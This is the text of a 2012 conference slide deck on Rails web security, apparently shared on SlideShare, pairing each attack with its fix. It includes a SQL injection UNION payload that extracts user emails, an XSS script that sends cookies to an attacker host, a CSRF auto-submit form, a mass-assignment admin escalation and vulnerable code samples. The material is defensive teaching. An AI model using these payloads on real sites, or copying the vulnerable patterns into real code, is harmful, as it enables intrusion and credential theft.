SlideShare une entreprise Scribd logo
1  sur  48
Télécharger pour lire hors ligne
WEB APPLICATION
SECURITY IN RAILS
                  Uri Nativ
          RailsIsrael 2012
Uri Nativ
           @unativ

Head of Engineering
     Klarna Tel Aviv

         #railsisrael
Buy Now, Pay Later

1.  Shop online
2.  Receive your goods
3.  Pay
Alice
Bob
Alice and Bob
Alice and Bob
Alice and Bob


                Like Duh?
Alice and Bob

     <html>
      <title>             #$@#
         MicroBlogging   %#@&*#$
      </title>
      ...
Alice and Bob


                Hack it!
SQL INJECTION
SQL Injection

@results = Micropost.where(
 "content LIKE '%#{params[:query]%’”).all

SELECT 'microposts'.*
 FROM 'microposts’
 WHERE (content LIKE ’%SEARCHSTRING%’)
SQL Injection

SELECT 'microposts'.*
 FROM 'microposts'
 WHERE (content LIKE '%SEARCHSTRING%')



                XXX')
                UNION
                SELECT 1, email, 1, 1, 1
                FROM users --
SQL Injection

SELECT    'microposts'.*
 FROM     'microposts'
 WHERE    (content LIKE '%XXX')
UNION
 SELECT   1, email, 1, 1, 1
 FROM     users -- %')
SQL Injection

SELECT    'microposts'.*
 FROM     'microposts'
 WHERE    (content LIKE '%XXX')
UNION
 SELECT   1, email, 1, 1, 1
 FROM     users -- %')
SQL Injection - countermeasures

@results = Micropost.where(
   "content LIKE ?’, "%#{params[:query]}%”)
).all
CROSS SITE   XSS

SCRIPTING
XSS

<span class="content">
   <%= raw feed_item.content %>
</span>
XSS

<script>
  document.write('<img src=
      "http://www.attacker.com/x.png?' +
      document.cookie + ’”
  >');
</script>
XSS - countermeasures

<span class="content">
  <%= sanitize feed_item.content,
       :tags => ['a’]
  %>
</span>
XSS
The Attack:
    Execute arbitrary code / defacement
    JSON is not escaped by default
    CSS can be injected as well

Countermeasures:
   Never trust data from the users
   Use Markdown (e.g. Redcarpet gem)
CROSS     CSRF

SITE
REQUEST
FORGERY
CSRF
www.blog.com
	




 1
CSRF
www.blog.com         www.freeiPad.com
	
                     <form name=“evilform”
                         action=“www.blog.com/….”>
                         …
                     <script>
                         document.evilform.submit()
                     </script>

                                2
           Click
          here for
         free iPad
CSRF
www.blog.com       www.freeiPad.com
	
                   <form name=“evilform”
                       action=“www.blog.com/….”>
                       …
                   <script>
                       document.evilform.submit()
               3   </script>
CSRF
www.blog.com           www.freeiPad.com
	
  POST /blogpost       <form name=“evilform”
  Content=“Kick Me!”       action=“www.blog.com/….”>
                           …
                       <script>
                           document.evilform.submit()
         4             </script>
CSRF – Authenticity Token

<input
   name ="authenticity_token”
   type ="hidden”
   value ="vyFdEgofzU4oSJJn5wypxq4“
/>
CSRF

routes.rb

match '/delete_post/:id',
   to: 'microposts#destroy'
CSRF

class ApplicationController <
        ActionController::Base

  # commented to easily test forms
  # protect_from_forgery
  ...
end
CSRF
The Attack:
    Attacker send requests on the victim’s behalf
    Doesn’t depend on XSS
    Attacked doesn’t need to be logged-in

Countermeasures:
   Use Rails CSRF default protection (do not override it)
   Use GET for queries
   Use POST/DELETE/… when updating data
   Add Sign-out link
RAILS SPECIFIC
ATTACKS
MASS         boo[gotcha!]

ASSIGNMENT
Mass Assignment

def create
  @user = User.new(params[:user])

  ...
end
Mass Assignment

def create
  @user = User.new(params[:user])

  ...
end

                  { :name => “gotcha”,
                    :admin => true }
Mass Assignment - countermeasures

Blacklist

class User < ActiveRecord::Base
   attr_protected :admin
   ...

end
Mass Assignment - countermeasures

Whitelist

class User < ActiveRecord::Base
   attr_accessible
       :name,
       :email,
       :password,
       :password_confirmation
   ...
Mass Assignment - countermeasures

Global Config (whitelist)

config.active_record.
    whitelist_attributes = true
Mass Assignment
The Attack:
    Unprotected by default :(

Countermeasures:
   Whitelist
   Blacklist
   Strong Parameters (whitelist)
       Rails 4
       Logic moved to the controller
       Available as a Gem
SQL INJECTION
VULNERABILITY IN
RUBY ON RAILS
(CVE-2012-2661)
CVE-2012-2661 SQL Injection

User.where(
     :id          => params[:user_id],
     :reset_token => params[:token]
)

SELECT   users.*
 FROM    users
 WHERE   users.id = 6
 AND     users.reset_token = ’XYZ'
 LIMIT   1
CVE-2012-2661 SQL Injection

/users/6/password/edit?token[]

SELECT users.*
  FROM users
  WHERE users.id = 6
  AND users.reset_token IS NULL
  LIMIT 1
CVE-2012-2661 SQL Injection
The Attack:
    SQL Injection - Affected version: Rails < 3.2.4


Countermeasures:
   Upgrade to Rails 3.2.4 or higher
Brakeman

-------------------------------------------------
| Warning Type                      | Total |
-------------------------------------------------
| Cross Site Scripting              |2         |
| Cross-Site Request Forgery | 1               |
| Denial of Service                 |1         |
| Redirect                          |1         |
| SQL Injection                     |4         |
-------------------------------------------------
CONCLUSIONS
Make Love not War
Conclusions
Know the threats – OWASP top 10

Follow Rails conventions

Ruby on Rails Security Guide
    http://guides.rubyonrails.org/security.html


The Ruby on Rails security project
    http://www.rorsecurity.info


Rails security mailing list:
    http://groups.google.com/group/rubyonrails-security
Thanks to…
Daniel Amselem for pair programming



Irit Shainzinger for the cool graphics



Michael Hartl for his microblogging app tutorial
Pay Online – Safer and Simpler




https://github.com/unativ/sample_app

Contenu connexe

Tendances

Tendances (20)

Memcache Injection (Hacktrick'15)
Memcache Injection (Hacktrick'15)Memcache Injection (Hacktrick'15)
Memcache Injection (Hacktrick'15)
 
WordPress Security 101 for developers
WordPress Security 101 for developersWordPress Security 101 for developers
WordPress Security 101 for developers
 
Hacking 101 (Session 2)
Hacking 101  (Session 2)Hacking 101  (Session 2)
Hacking 101 (Session 2)
 
SQL Injection Defense in Python
SQL Injection Defense in PythonSQL Injection Defense in Python
SQL Injection Defense in Python
 
Introduction to Retrofit
Introduction to RetrofitIntroduction to Retrofit
Introduction to Retrofit
 
Cross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert BoxCross Site Scripting Going Beyond the Alert Box
Cross Site Scripting Going Beyond the Alert Box
 
Webpack
Webpack Webpack
Webpack
 
스프링 시큐리티로 시작하는 웹 어플리케이션 보안
스프링 시큐리티로 시작하는 웹 어플리케이션 보안스프링 시큐리티로 시작하는 웹 어플리케이션 보안
스프링 시큐리티로 시작하는 웹 어플리케이션 보안
 
Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?Hacking WebApps for fun and profit : how to approach a target?
Hacking WebApps for fun and profit : how to approach a target?
 
What should I do when my website got hack?
What should I do when my website got hack?What should I do when my website got hack?
What should I do when my website got hack?
 
VodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkadVodQA3_PenetrationTesting_AmitDhakkad
VodQA3_PenetrationTesting_AmitDhakkad
 
Hacking 101 (Henallux, Owasp Top 10, WebGoat, Live Demo)
Hacking 101 (Henallux, Owasp Top 10, WebGoat, Live Demo) Hacking 101 (Henallux, Owasp Top 10, WebGoat, Live Demo)
Hacking 101 (Henallux, Owasp Top 10, WebGoat, Live Demo)
 
Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)Cross Site Scripting ( XSS)
Cross Site Scripting ( XSS)
 
Click jacking
Click jackingClick jacking
Click jacking
 
Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12Top Ten Web Application Defenses v12
Top Ten Web Application Defenses v12
 
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
스프링 시큐리티로 시작하는 웹 어플리케이션 보안 _강사준비 스터디 버전
 
How did i steal your database
How did i steal your databaseHow did i steal your database
How did i steal your database
 
How To Detect Xss
How To Detect XssHow To Detect Xss
How To Detect Xss
 
Sql Injection Attacks Siddhesh
Sql Injection Attacks SiddheshSql Injection Attacks Siddhesh
Sql Injection Attacks Siddhesh
 
Test automation
Test  automationTest  automation
Test automation
 

En vedette

En vedette (11)

Stop Optimizing Start Simplifying
Stop Optimizing Start SimplifyingStop Optimizing Start Simplifying
Stop Optimizing Start Simplifying
 
Using scrum values to building engineering culture
Using scrum values to building engineering cultureUsing scrum values to building engineering culture
Using scrum values to building engineering culture
 
The Missing (Agile) Lecture
The Missing (Agile) LectureThe Missing (Agile) Lecture
The Missing (Agile) Lecture
 
Pair Programming at Klarna Tel Aviv
Pair Programming at Klarna Tel AvivPair Programming at Klarna Tel Aviv
Pair Programming at Klarna Tel Aviv
 
QA without QA
QA without QAQA without QA
QA without QA
 
Where is the CEO Office?
Where is the CEO Office?Where is the CEO Office?
Where is the CEO Office?
 
Agile - What? Why? How?
Agile - What? Why? How?Agile - What? Why? How?
Agile - What? Why? How?
 
Building an Awesome Engineering Culture
Building an Awesome Engineering CultureBuilding an Awesome Engineering Culture
Building an Awesome Engineering Culture
 
5 Slides Design Tips
5 Slides Design Tips5 Slides Design Tips
5 Slides Design Tips
 
Dodging Bullets
Dodging BulletsDodging Bullets
Dodging Bullets
 
Codeware
CodewareCodeware
Codeware
 

Similaire à Web Application Security in Rails

Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
Frank Kim
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
mirahman
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
michelemanzotti
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
Haitham Raik
 

Similaire à Web Application Security in Rails (20)

&lt;x> Rails Web App Security Title
&lt;x> Rails Web App Security Title&lt;x> Rails Web App Security Title
&lt;x> Rails Web App Security Title
 
ASP.NET Web Security
ASP.NET Web SecurityASP.NET Web Security
ASP.NET Web Security
 
The top 10 security issues in web applications
The top 10 security issues in web applicationsThe top 10 security issues in web applications
The top 10 security issues in web applications
 
Application Security around OWASP Top 10
Application Security around OWASP Top 10Application Security around OWASP Top 10
Application Security around OWASP Top 10
 
Evolution Of Web Security
Evolution Of Web SecurityEvolution Of Web Security
Evolution Of Web Security
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Applications secure by default
Applications secure by defaultApplications secure by default
Applications secure by default
 
Securing Java EE Web Apps
Securing Java EE Web AppsSecuring Java EE Web Apps
Securing Java EE Web Apps
 
Drupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal DevelopmentDrupal campleuven: Secure Drupal Development
Drupal campleuven: Secure Drupal Development
 
PHP Secure Programming
PHP Secure ProgrammingPHP Secure Programming
PHP Secure Programming
 
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
Pawel Cygal - SQL Injection and XSS - Basics (Quality Questions Conference)
 
Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009Php & Web Security - PHPXperts 2009
Php & Web Security - PHPXperts 2009
 
Application Security from the Inside - OWASP
Application Security from the Inside - OWASPApplication Security from the Inside - OWASP
Application Security from the Inside - OWASP
 
Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSSWeb Security - OWASP - SQL injection & Cross Site Scripting XSS
Web Security - OWASP - SQL injection & Cross Site Scripting XSS
 
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web InterfacesThey Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
They Ought to Know Better: Exploiting Security Gateways via Their Web Interfaces
 
PCI Security Requirements - secure coding
PCI Security Requirements - secure codingPCI Security Requirements - secure coding
PCI Security Requirements - secure coding
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Java EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank KimJava EE Web Security By Example: Frank Kim
Java EE Web Security By Example: Frank Kim
 
Brakeman
BrakemanBrakeman
Brakeman
 

Dernier

Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
Joaquim Jorge
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
Enterprise Knowledge
 

Dernier (20)

The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdfThe Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
The Role of Taxonomy and Ontology in Semantic Layers - Heather Hedden.pdf
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Artificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and MythsArtificial Intelligence: Facts and Myths
Artificial Intelligence: Facts and Myths
 
Evaluating the top large language models.pdf
Evaluating the top large language models.pdfEvaluating the top large language models.pdf
Evaluating the top large language models.pdf
 
Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)Powerful Google developer tools for immediate impact! (2023-24 C)
Powerful Google developer tools for immediate impact! (2023-24 C)
 
IAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI SolutionsIAC 2024 - IA Fast Track to Search Focused AI Solutions
IAC 2024 - IA Fast Track to Search Focused AI Solutions
 
Data Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt RobisonData Cloud, More than a CDP by Matt Robison
Data Cloud, More than a CDP by Matt Robison
 
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
08448380779 Call Girls In Diplomatic Enclave Women Seeking Men
 
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
Strategies for Unlocking Knowledge Management in Microsoft 365 in the Copilot...
 
Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024Partners Life - Insurer Innovation Award 2024
Partners Life - Insurer Innovation Award 2024
 
presentation ICT roal in 21st century education
presentation ICT roal in 21st century educationpresentation ICT roal in 21st century education
presentation ICT roal in 21st century education
 
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
Mastering MySQL Database Architecture: Deep Dive into MySQL Shell and MySQL R...
 
GenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day PresentationGenCyber Cyber Security Day Presentation
GenCyber Cyber Security Day Presentation
 
Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024Finology Group – Insurtech Innovation Award 2024
Finology Group – Insurtech Innovation Award 2024
 
What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?What Are The Drone Anti-jamming Systems Technology?
What Are The Drone Anti-jamming Systems Technology?
 
🐬 The future of MySQL is Postgres 🐘
🐬  The future of MySQL is Postgres   🐘🐬  The future of MySQL is Postgres   🐘
🐬 The future of MySQL is Postgres 🐘
 
[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf[2024]Digital Global Overview Report 2024 Meltwater.pdf
[2024]Digital Global Overview Report 2024 Meltwater.pdf
 
2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...2024: Domino Containers - The Next Step. News from the Domino Container commu...
2024: Domino Containers - The Next Step. News from the Domino Container commu...
 
Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...Driving Behavioral Change for Information Management through Data-Driven Gree...
Driving Behavioral Change for Information Management through Data-Driven Gree...
 

Web Application Security in Rails

Notes de l'éditeur

  1. Can do defacement as well
  2. Was also found at ThoughtBot clearance – Rails authentication gem